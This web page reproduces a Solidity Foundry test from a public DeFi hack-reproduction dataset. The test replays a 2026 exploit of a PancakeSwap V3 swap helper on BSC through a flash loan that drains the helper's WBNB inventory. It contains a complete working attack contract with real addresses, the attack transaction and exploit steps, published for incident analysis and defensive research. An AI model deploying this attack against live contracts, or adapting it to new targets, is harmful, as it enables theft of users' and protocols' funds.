Public reproduction file
src/test/2026-09/PancakeV3SwapHelper_exp.sol
Public reproduction file for dataset entry PancakeV3SwapHelper.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~1.6488688845 BNB (~$1.3K)8// Attacker : https://bscscan.com/address/0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d1019// Attack Contract : https://bscscan.com/address/0x43492c467986eaE378A1f8F8afC0B6f2417C3A2f10// Vulnerable Contract : https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D11// Attack Tx : https://bscscan.com/tx/0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf510413// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/exvulsec/status/210268728973031045819// Hacking God : N/A20//21// ROOT CAUSE (inferred from the unverified helper's runtime behavior and the attack trace):22// Pancake V3 reports signed swap deltas: for USDT -> WBNB, the USDT input is positive and the23// WBNB output is negative. The helper uses the positive USDT delta as the WBNB amount to unwrap.24// At the attack state the helper holds 1.651021225164017256 WBNB, while the pool returns only25// 0.002089397784051482 WBNB. It therefore unwraps and pays out its pre-existing WBNB inventory.26//27// EXPLOIT (single atomic transaction; reconstructed from the real transaction trace):28// 1. Borrow 3.651021225164017256 USDT from Moolah: 1.651021225164017256 for the vulnerable call29// plus a 2 USDT buffer for repaying the flash loan.30// 2. Call the helper with USDT, the 0.01% Pancake V3 fee tier, amountIn = 1.651021225164017256,31// param4 = 1, and the attack contract as recipient. The pool returns ~0.002089 WBNB, but the32// helper unwraps and pays the recipient 1.651021225164017256 BNB from its inventory.33// 3. Wrap 0.05 BNB, then buy exactly 1.651021225164017256 USDT through Pancake V2. The swap spends34// 0.002095724137859296 WBNB; unwrap the remainder and repay the full Moolah principal.35// 4. Send the remaining 1.648925501026157960 BNB to the attacker EOA. This is the pre-gas profit;36// subtracting the original 1,132,330-gas transaction fee at 0.05 gwei gives 1.648868884526157960 BNB.37//38// This PoC forks immediately before the attack transaction and replays the real Moolah loan,39// vulnerable helper, and Pancake V2 buyback against live BSC state. The unverified helper's source40// is unavailable, so its entry point is called using the selector and argument layout observed on-chain.42interface IMoolahSwapHelper {43 function flashLoan(44 address token,45 uint256 amount,46 bytes calldata data47 ) external;48}50interface IPancakeV2SwapHelperRouter {51 function swapTokensForExactTokens(52 uint256 amountOut,53 uint256 amountInMax,54 address[] calldata path,55 address to,56 uint256 deadline57 ) external returns (uint256[] memory amounts);58}60interface IWrappedBNBSwapHelper {61 function balanceOf(62 address account63 ) external view returns (uint256);64 function approve(65 address spender,66 uint256 amount67 ) external returns (bool);68 function deposit() external payable;69 function withdraw(70 uint256 amount71 ) external;72}74contract PancakeV3SwapHelperExploitTest is BaseTestWithBalanceLog {75 bytes32 private constant ATTACK_TX = 0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf5104;76 address private constant ATTACKER = 0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101;77 IERC20 private constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);78 IWrappedBNBSwapHelper private constant WBNB_TOKEN =79 IWrappedBNBSwapHelper(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);80 address private constant VICTIM = 0x222C8580eaA32f6f5a728bda0129CFA485eCc52D;81 IMoolahSwapHelper private constant MOOLAH = IMoolahSwapHelper(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);82 IPancakeV2SwapHelperRouter private constant PANCAKE_V2_ROUTER =83 IPancakeV2SwapHelperRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);84 bytes4 private constant SWAP_SELECTOR = 0x6c26c88a;85 uint24 private constant POOL_FEE = 100;86 uint256 private constant PARAM4 = 1;87 uint256 private constant FLASHLOAN_BUFFER = 2 ether;88 uint256 private constant WBNB_BUYBACK_SEED = 0.05 ether;89 uint256 private constant EXPECTED_VICTIM_INVENTORY = 1_651_021_225_164_017_256;90 uint256 private constant EXPECTED_WBNB_BUYBACK = 2_095_724_137_859_296;91 uint256 private constant EXPECTED_POOL_OUTPUT = 2_089_397_784_051_482;92 uint256 private constant EXPECTED_ATTACKER_BNB_BEFORE_GAS = 1_648_925_501_026_157_960;94 PancakeV3SwapHelperAttack private attackContract;96 function setUp() public {97 vm.createSelectFork("bsc", ATTACK_TX);98 fundingToken = address(0);99 attackContract = new PancakeV3SwapHelperAttack();100 attacker = ATTACKER;102 vm.label(VICTIM, "Unverified swap helper");103 vm.label(address(USDT_TOKEN), "USDT");104 vm.label(address(WBNB_TOKEN), "WBNB");105 vm.label(address(MOOLAH), "Moolah");106 vm.label(address(PANCAKE_V2_ROUTER), "Pancake V2 Router");107 vm.label(ATTACKER, "Attacker");108 }110 function testExploit() public balanceLog {111 uint256 amountIn = WBNB_TOKEN.balanceOf(VICTIM);112 assertEq(amountIn, EXPECTED_VICTIM_INVENTORY, "victim inventory changed at attack tx");114 attackContract.attack(amountIn);116 uint256 attackerBnb = ATTACKER.balance;117 emit log_named_decimal_uint("Victim WBNB inventory drained", amountIn, 18);118 emit log_named_decimal_uint("Attacker BNB profit before gas", attackerBnb, 18);120 assertEq(attackerBnb, EXPECTED_ATTACKER_BNB_BEFORE_GAS, "attacker BNB profit differs from tx trace");121 assertEq(USDT_TOKEN.balanceOf(address(attackContract)), 0, "Moolah loan was not fully repaid");122 assertEq(WBNB_TOKEN.balanceOf(address(attackContract)), 0, "leftover WBNB was not unwrapped");123 assertEq(124 WBNB_TOKEN.balanceOf(VICTIM), EXPECTED_POOL_OUTPUT, "victim should retain only the actual V3 swap output"125 );126 }127}129contract PancakeV3SwapHelperAttack {130 IERC20 private constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);131 IWrappedBNBSwapHelper private constant WBNB_TOKEN =132 IWrappedBNBSwapHelper(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);133 address private constant VICTIM = 0x222C8580eaA32f6f5a728bda0129CFA485eCc52D;134 address private constant ATTACKER = 0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101;135 IMoolahSwapHelper private constant MOOLAH = IMoolahSwapHelper(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);136 IPancakeV2SwapHelperRouter private constant PANCAKE_V2_ROUTER =137 IPancakeV2SwapHelperRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);139 bytes4 private constant SWAP_SELECTOR = 0x6c26c88a;140 uint24 private constant POOL_FEE = 100;141 uint256 private constant PARAM4 = 1;142 uint256 private constant FLASHLOAN_BUFFER = 2 ether;143 uint256 private constant WBNB_BUYBACK_SEED = 0.05 ether;144 uint256 private constant EXPECTED_WBNB_BUYBACK = 2_095_724_137_859_296;146 function attack(147 uint256 amountIn148 ) external {149 MOOLAH.flashLoan(address(USDT_TOKEN), amountIn + FLASHLOAN_BUFFER, abi.encode(amountIn));150 }152 function onMoolahFlashLoan(153 uint256 loanAmount,154 bytes calldata data155 ) external {156 require(msg.sender == address(MOOLAH), "not Moolah");157 uint256 amountIn = abi.decode(data, (uint256));158 require(loanAmount == amountIn + FLASHLOAN_BUFFER, "unexpected Moolah loan amount");160 USDT_TOKEN.approve(VICTIM, amountIn);161 (bool success,) = VICTIM.call(162 abi.encodeWithSelector(163 SWAP_SELECTOR, address(USDT_TOKEN), POOL_FEE, amountIn, PARAM4, block.timestamp, address(this)164 )165 );166 require(success, "victim swap call reverted");168 // Reproduce the attack's WBNB seed, then buy back exactly the USDT needed for repayment.169 WBNB_TOKEN.deposit{value: WBNB_BUYBACK_SEED}();170 WBNB_TOKEN.approve(address(PANCAKE_V2_ROUTER), type(uint256).max);171 address[] memory path = new address[](2);172 path[0] = address(WBNB_TOKEN);173 path[1] = address(USDT_TOKEN);174 uint256[] memory amounts = PANCAKE_V2_ROUTER.swapTokensForExactTokens(175 amountIn, type(uint256).max, path, address(this), block.timestamp176 );177 require(amounts[0] == EXPECTED_WBNB_BUYBACK, "unexpected Pancake V2 WBNB input");179 WBNB_TOKEN.withdraw(WBNB_TOKEN.balanceOf(address(this)));180 USDT_TOKEN.approve(address(MOOLAH), loanAmount);182 (bool sent,) = ATTACKER.call{value: address(this).balance}("");183 require(sent, "attacker BNB payout failed");184 }186 receive() external payable {}187}Analysis
Dataset entry
Public Foundry test for “PancakeV3SwapHelper” (2026-09-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x804d75db19ef595fd7f540262fafa2fda3e7d101
- Attack Contract
0x43492c467986eae378a1f8f8afc0b6f2417c3a2f
- Vulnerable Contract
0x222c8580eaa32f6f5a728bda0129cfa485ecc52d
- Attack Tx
0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf5104
- Twitter: https://x.com/exvulsec/status/2102687289730310458
- Explorer: https://bscscan.com/address/0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101
- Explorer: https://bscscan.com/address/0x43492c467986eaE378A1f8F8afC0B6f2417C3A2f
- Explorer: https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D
- Explorer: https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D#code
File record
- Name
- PancakeV3SwapHelper
- Path
- src/test/2026-09/PancakeV3SwapHelper_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8bf927f9713794c2ed85302c8aa79129dd13a7f9
- Language
- Solidity
- Size
- 188 lines
- Date
- 2026-09-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/PancakeV3SwapHelper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8bf927f9713794c2ed85302c8aa79129dd13a7f9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.